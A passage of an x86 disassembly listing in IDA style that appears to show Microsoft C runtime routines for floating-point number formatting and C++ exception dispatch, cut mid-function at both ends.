push eax
call sub_41DEEC
cmp eax, 65h
pop ecx
jz short loc_421850
loc_421824: ; CODE XREF: sub_421810+3Ej
inc esi
cmp dword_43A88C, 1
jle short loc_42183D
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41F44A
pop ecx
pop ecx
jmp short loc_42184C
; ---------------------------------------------------------------------------
loc_42183D: ; CODE XREF: sub_421810+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43A680
mov al, [ecx+eax*2]
and eax, 4
loc_42184C: ; CODE XREF: sub_421810+2Bj
test eax, eax
jnz short loc_421824
loc_421850: ; CODE XREF: sub_421810+12j
mov cl, byte_43A890
mov al, [esi]
mov [esi], cl
inc esi
loc_42185B: ; CODE XREF: sub_421810+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_42185B
pop esi
retn
sub_421810 endp
; =============== S U B R O U T I N E =======================================
sub_42186A proc near ; CODE XREF: sub_41F5D4+3E2p
; DATA XREF: sub_41CECC+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43A890
mov cl, [eax]
test cl, cl
jz short loc_421886
loc_42187A: ; CODE XREF: sub_42186A+1Aj
cmp cl, dl
jz short loc_421886
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_42187A
loc_421886: ; CODE XREF: sub_42186A+Ej
; sub_42186A+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_4218B7
loc_42188D: ; CODE XREF: sub_42186A+34j
mov cl, [eax]
test cl, cl
jz short loc_4218A0
cmp cl, 65h
jz short loc_4218A0
cmp cl, 45h
jz short loc_4218A0
inc eax
jmp short loc_42188D
; ---------------------------------------------------------------------------
loc_4218A0: ; CODE XREF: sub_42186A+27j
; sub_42186A+2Cj ...
mov ecx, eax
loc_4218A2: ; CODE XREF: sub_42186A+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_4218A2
cmp [eax], dl
jnz short loc_4218AD
dec eax
loc_4218AD: ; CODE XREF: sub_42186A+40j
; sub_42186A+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_4218AD
locret_4218B7: ; CODE XREF: sub_42186A+21j
retn
sub_42186A endp
; =============== S U B R O U T I N E =======================================
sub_4218B8 proc near ; DATA XREF: sub_41CECC+28o
; ___:off_43AC38o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_427848
fnstsw ax
sahf
jb short loc_4218CD
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4218CD: ; CODE XREF: sub_4218B8+Fj
xor eax, eax
retn
sub_4218B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4218D0 proc near ; CODE XREF: sub_420445+430p
; DATA XREF: sub_41CECC+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_4218F9
lea eax, [ebp+var_8]
push eax
call sub_424428
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4218F9: ; CODE XREF: sub_4218D0+Cj
lea eax, [ebp+arg_8]
push eax
call sub_424455
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_4218D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42190E proc near ; CODE XREF: sub_421B8B+17p
; sub_421BD5+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_4D97AC, 0
push ebx
push esi
jz short loc_421943
mov ebx, [ebp+arg_8]
mov eax, dword_4D97A8
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_421C26
pop ecx
pop ecx
jmp short loc_42197B
; ---------------------------------------------------------------------------
loc_421943: ; CODE XREF: sub_42190E+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_4244F9
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_424482
add esp, 14h
loc_42197B: ; CODE XREF: sub_42190E+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_421987
mov byte ptr [eax], 2Dh
inc eax
loc_421987: ; CODE XREF: sub_42190E+73j
test ebx, ebx
jle short loc_42199F
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_43A890
mov eax, edi
pop edi
mov [eax], cl
loc_42199F: ; CODE XREF: sub_42190E+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_4D97AC, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_41C620
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_4219C6
mov byte ptr [ecx], 45h
loc_4219C6: ; CODE XREF: sub_42190E+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_421A0B
mov ebx, [esi+4]
dec ebx
jns short loc_4219DA
neg ebx
mov byte ptr [ecx], 2Dh
loc_4219DA: ; CODE XREF: sub_42190E+C5j
inc ecx
cmp ebx, 64h
jl short loc_4219F1
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_4219F1: ; CODE XREF: sub_42190E+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_421A08
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_421A08: ; CODE XREF: sub_42190E+E7j
add [ecx+1], bl
loc_421A0B: ; CODE XREF: sub_42190E+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_42190E endp
; =============== S U B R O U T I N E =======================================
sub_421A12 proc near ; CODE XREF: sub_421BB2+13p
; sub_421BD5+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_4D97AC, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_421A4D
mov eax, dword_4D97B0
mov ebx, [esp+10h+arg_8]
mov esi, dword_4D97A8
cmp eax, ebx
jnz short loc_421A7D
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_421A7D
; ---------------------------------------------------------------------------
loc_421A4D: ; CODE XREF: sub_421A12+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_4244F9
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_424482
add esp, 14h
loc_421A7D: ; CODE XREF: sub_421A12+22j
; sub_421A12+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_421A8B
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_421A8B: ; CODE XREF: sub_421A12+70j
mov eax, [esi+4]
test eax, eax
jg short loc_421AA2
push 1
push edi
call sub_421C26
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_421AA4
; ---------------------------------------------------------------------------
loc_421AA2: ; CODE XREF: sub_421A12+7Ej
add edi, eax
loc_421AA4: ; CODE XREF: sub_421A12+8Ej
test ebx, ebx
jle short loc_421AE9
push 1
push edi
call sub_421C26
mov al, byte_43A890
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_421AE9
cmp byte_4D97AC, 0
jz short loc_421ACE
neg esi
jmp short loc_421AD4
; ---------------------------------------------------------------------------
loc_421ACE: ; CODE XREF: sub_421A12+B6j
neg esi
cmp ebx, esi
jl short loc_421AD6
loc_421AD4: ; CODE XREF: sub_421A12+BAj
mov ebx, esi
loc_421AD6: ; CODE XREF: sub_421A12+C0j
push ebx
push edi
call sub_421C26
push ebx
push 30h
push edi
call sub_41BD10
add esp, 14h
loc_421AE9: ; CODE XREF: sub_421A12+94j
; sub_421A12+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_421A12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421AF0 proc near ; CODE XREF: sub_421BD5+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_4244F9
mov dword_4D97A8, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_4D97B0, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_424482
mov eax, dword_4D97A8
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_4D97B0, ecx
setl cl
mov byte_4D97B4, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_4D97B0, eax
jl short loc_421B76
cmp eax, ebx
jge short loc_421B76
test cl, cl
jz short loc_421B67
loc_421B5D: ; CODE XREF: sub_421AF0+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_421B5D
and [esi-2], al
loc_421B67: ; CODE XREF: sub_421AF0+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_421BB2
add esp, 0Ch
jmp short loc_421B86
; ---------------------------------------------------------------------------
loc_421B76: ; CODE XREF: sub_421AF0+63j
; sub_421AF0+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_421B8B
add esp, 10h
loc_421B86: ; CODE XREF: sub_421AF0+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_421AF0 endp
; =============== S U B R O U T I N E =======================================
sub_421B8B proc near ; CODE XREF: sub_421AF0+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_4D97AC, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_42190E
and byte_4D97AC, 0
add esp, 10h
retn
sub_421B8B endp
; =============== S U B R O U T I N E =======================================
sub_421BB2 proc near ; CODE XREF: sub_421AF0+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_4D97AC, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_421A12
and byte_4D97AC, 0
add esp, 0Ch
retn
sub_421BB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BD5 proc near ; CODE XREF: sub_41F5D4+3AAp
; DATA XREF: sub_41CECCo ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_421C10
cmp [ebp+arg_8], 45h
jz short loc_421C10
cmp [ebp+arg_8], 66h
jnz short loc_421BFD
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421A12
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421BFD: ; CODE XREF: sub_421BD5+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_421AF0
jmp short loc_421C21
; ---------------------------------------------------------------------------
loc_421C10: ; CODE XREF: sub_421BD5+7j
; sub_421BD5+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42190E
loc_421C21: ; CODE XREF: sub_421BD5+39j
add esp, 10h
pop ebp
retn
sub_421BD5 endp
; =============== S U B R O U T I N E =======================================
sub_421C26 proc near ; CODE XREF: sub_42190E+2Cp
; sub_421A12+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_421C49
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_41B960
inc eax
push eax
push esi
add esi, edi
push esi
call sub_41D400
add esp, 10h
pop esi
loc_421C49: ; CODE XREF: sub_421C26+7j
pop edi
retn
sub_421C26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421C4B proc near ; CODE XREF: ___:0041D0ACp
; sub_41D115+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_421C61
call sub_4224F2
loc_421C61: ; CODE XREF: sub_421C4B+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_421C89
cmp dword ptr [esi+4], 0
jz short loc_421CDF
cmp [ebp+arg_14], 0
jnz short loc_421CDF
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_421F92
add esp, 10h
jmp short loc_421CDF
; ---------------------------------------------------------------------------
loc_421C89: ; CODE XREF: sub_421C4B+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_421CDF
cmp dword ptr [eax], 0E06D7363h
jnz short loc_421CC3
cmp [eax+14h], edi
jbe short loc_421CC3
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_421CC3
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_421CE2
; ---------------------------------------------------------------------------
loc_421CC3: ; CODE XREF: sub_421C4B+4Aj
; sub_421C4B+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_421CE6
add esp, 20h
loc_421CDF: ; CODE XREF: sub_421C4B+23j
; sub_421C4B+29j ...
push 1
pop eax
loc_421CE2: ; CODE XREF: sub_421C4B+76j
pop edi
pop esi
pop ebp
retn
sub_421C4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421CE6 proc near ; CODE XREF: sub_421C4B+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_421D06
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_421D0B
loc_421D06: ; CODE XREF: sub_421CE6+16j
call sub_4224F2
loc_421D0B: ; CODE XREF: sub_421CE6+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_421E62
cmp dword ptr [esi+10h], 3
jnz short loc_421D7F
cmp [esi+14h], edi
jnz short loc_421D7F
cmp dword ptr [esi+1Ch], 0
jnz short loc_421D7F
mov esi, dword_4D97B8
test esi, esi
jz loc_421E5D
mov eax, dword_4D97BC
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_424680
pop ecx
test eax, eax
pop ecx
jnz short loc_421D61
call sub_4224F2
loc_421D61: ; CODE XREF: sub_421CE6+74j
cmp [esi], ebx
jnz loc_421E62
cmp dword ptr [esi+10h], 3
jnz short loc_421D7F
cmp [esi+14h], edi
jnz short loc_421D7F
cmp dword ptr [esi+1Ch], 0
jnz short loc_421D7F
call sub_4224F2
loc_421D7F: ; CODE XREF: sub_421CE6+41j
; sub_421CE6+46j ...
cmp [esi], ebx
jnz loc_421E62
cmp dword ptr [esi+10h], 3
jnz loc_421E62
cmp [esi+14h], edi
jnz loc_421E62
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D263
add esp, 14h
mov ebx, eax
loc_421DB6: ; CODE XREF: sub_421CE6+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_421E4D
cmp [ebx], edi
jg short loc_421E42
cmp edi, [ebx+4]
jg short loc_421E42
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_421E3F
loc_421DDB: ; CODE XREF: sub_421CE6+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_421E0C
loc_421DED: ; CODE XREF: sub_421CE6+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_421F35
add esp, 0Ch
test eax, eax
jnz short loc_421E1B
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_421DED
loc_421E0C: ; CODE XREF: sub_421CE6+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_421DDB
jmp short loc_421E3F
; ---------------------------------------------------------------------------
loc_421E1B: ; CODE XREF: sub_421CE6+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_422046
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_421E3F: ; CODE XREF: sub_421CE6+F3j
; sub_421CE6+133j
mov edi, [ebp+var_10]
loc_421E42: ; CODE XREF: sub_421CE6+DEj
; sub_421CE6+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_421DB6
; ---------------------------------------------------------------------------
loc_421E4D: ; CODE XREF: sub_421CE6+D6j
cmp [ebp+arg_14], 0
jz short loc_421E5D
push 1
push esi
call sub_4223BB
pop ecx
pop ecx
loc_421E5D: ; CODE XREF: sub_421CE6+56j
; sub_421CE6+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_421E62: ; CODE XREF: sub_421CE6+37j
; sub_421CE6+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_421E88
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_421E8D
add esp, 20h
jmp short loc_421E5D
; ---------------------------------------------------------------------------
loc_421E88: ; CODE XREF: sub_421CE6+180j
jmp sub_42249C
sub_421CE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421E8D proc near ; CODE XREF: sub_421CE6+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_4D97C0, 0
push esi
push edi
jz short loc_421EBE
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41D13A
add esp, 1Ch
test eax, eax
jnz short loc_421F31
loc_421EBE: ; CODE XREF: sub_421E8D+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_41D263
add esp, 14h
mov esi, eax
loc_421EDA: ; CODE XREF: sub_421E8D+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_421F31
cmp edi, [esi]
jl short loc_421F29
cmp edi, [esi+4]
jg short loc_421F29
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_421F03
cmp byte ptr [ecx+8], 0
jnz short loc_421F29
loc_421F03: ; CODE XREF: sub_421E8D+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_422046
; ---------------------------------------------------------------------------
add esp, 2Ch
loc_421F29: ; CODE XREF: sub_421E8D+57j
; sub_421E8D+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_421EDA
; ---------------------------------------------------------------------------
loc_421F31: ; CODE XREF: sub_421E8D+2Fj
; sub_421E8D+53j
pop edi
pop esi
leave
retn
sub_421E8D endp
; =============== S U B R O U T I N E =======================================
sub_421F35 proc near ; CODE XREF: sub_421CE6+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_421F8C
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_421F8C
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_421F66
add ecx, 8
push ecx
push edx
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_421F88
loc_421F66: ; CODE XREF: sub_421F35+1Fj
test byte ptr [esi], 2
jz short loc_421F70
test byte ptr [edi], 8
jz short loc_421F88
loc_421F70: ; CODE XREF: sub_421F35+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_421F7F
test byte ptr [edi], 1
jz short loc_421F88
loc_421F7F: ; CODE XREF: sub_421F35+43j
test al, 2
jz short loc_421F8C
test byte ptr [edi], 2
jnz short loc_421F8C
loc_421F88: ; CODE XREF: sub_421F35+2Fj
; sub_421F35+39j ...
xor eax, eax
jmp short loc_421F8F
; ---------------------------------------------------------------------------
loc_421F8C: ; CODE XREF: sub_421F35+Bj
; sub_421F35+14j ...
push 1
pop eax
loc_421F8F: ; CODE XREF: sub_421F35+55j
pop edi
pop esi
retn
sub_421F35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F92 proc near ; CODE XREF: sub_421C4B+34p
; ___:00422088p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427890
push offset sub_4233C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_421FC4: ; CODE XREF: sub_421F92+8Aj
cmp esi, [ebp+arg_C]
jz short loc_42201E
cmp esi, 0FFFFFFFFh
jle short loc_421FD3
cmp esi, [edi+4]
jl short loc_421FD8
loc_421FD3: ; CODE XREF: sub_421F92+3Aj
call sub_4224F2
loc_421FD8: ; CODE XREF: sub_421F92+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_421FF3
push 103h
push ebx
push eax
call sub_422450
loc_421FF3: ; CODE XREF: sub_421F92+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422013
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_422030
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_422013: ; CODE XREF: sub_421F92+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_421FC4
; ---------------------------------------------------------------------------
loc_42201E: ; CODE XREF: sub_421F92+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_421F92 endp
; =============== S U B R O U T I N E =======================================
sub_422030 proc near ; CODE XREF: sub_421F92+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_422041
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_422041: ; CODE XREF: sub_422030+Cj
jmp sub_42249C
sub_422030 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_422046 proc near ; CODE XREF: sub_421CE6+151p
; sub_421E8D+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_422068
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_4221F7
add esp, 10h
loc_422068: ; CODE XREF: sub_422046+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_422074
push edi
jmp short loc_422077
; ---------------------------------------------------------------------------
loc_422074: ; CODE XREF: sub_422046+29j
push [ebp+arg_24]
loc_422077: ; CODE XREF: sub_422046+2Cj
call sub_41D03C
sub_422046 endp
; ---------------------------------------------------------------------------
mov esi, [ebp+24h]
push dword ptr [esi]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push edi
call sub_421F92
mov eax, [esi+4]
push 100h
push dword ptr [ebp+28h]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+10h]
push edi
push dword ptr [ebp+8]
call sub_4220C1
add esp, 2Ch
test eax, eax
jz short loc_4220BC
push edi
push eax
call sub_41CFFA
loc_4220BC: ; CODE XREF: ___:004220B3j
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4220C1 proc near ; CODE XREF: ___:004220A9p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4278A0
push offset sub_4233C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_4D97B8
mov [ebp+var_1C], ecx
mov ecx, dword_4D97BC
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_4D97B8, edi
mov ecx, [ebp+arg_8]
mov dword_4D97BC, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_41D0C1
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_422187
mov eax, [ebp+var_2C]
loc_42214E: ; CODE XREF: sub_422167+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4220C1 endp
; =============== S U B R O U T I N E =======================================
sub_42215D proc near ; DATA XREF: ___:004278B0o
push dword ptr [ebp-14h]
call sub_4221CD
pop ecx
retn
sub_42215D endp
; =============== S U B R O U T I N E =======================================
sub_422167 proc near ; DATA XREF: ___:004278B4o
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
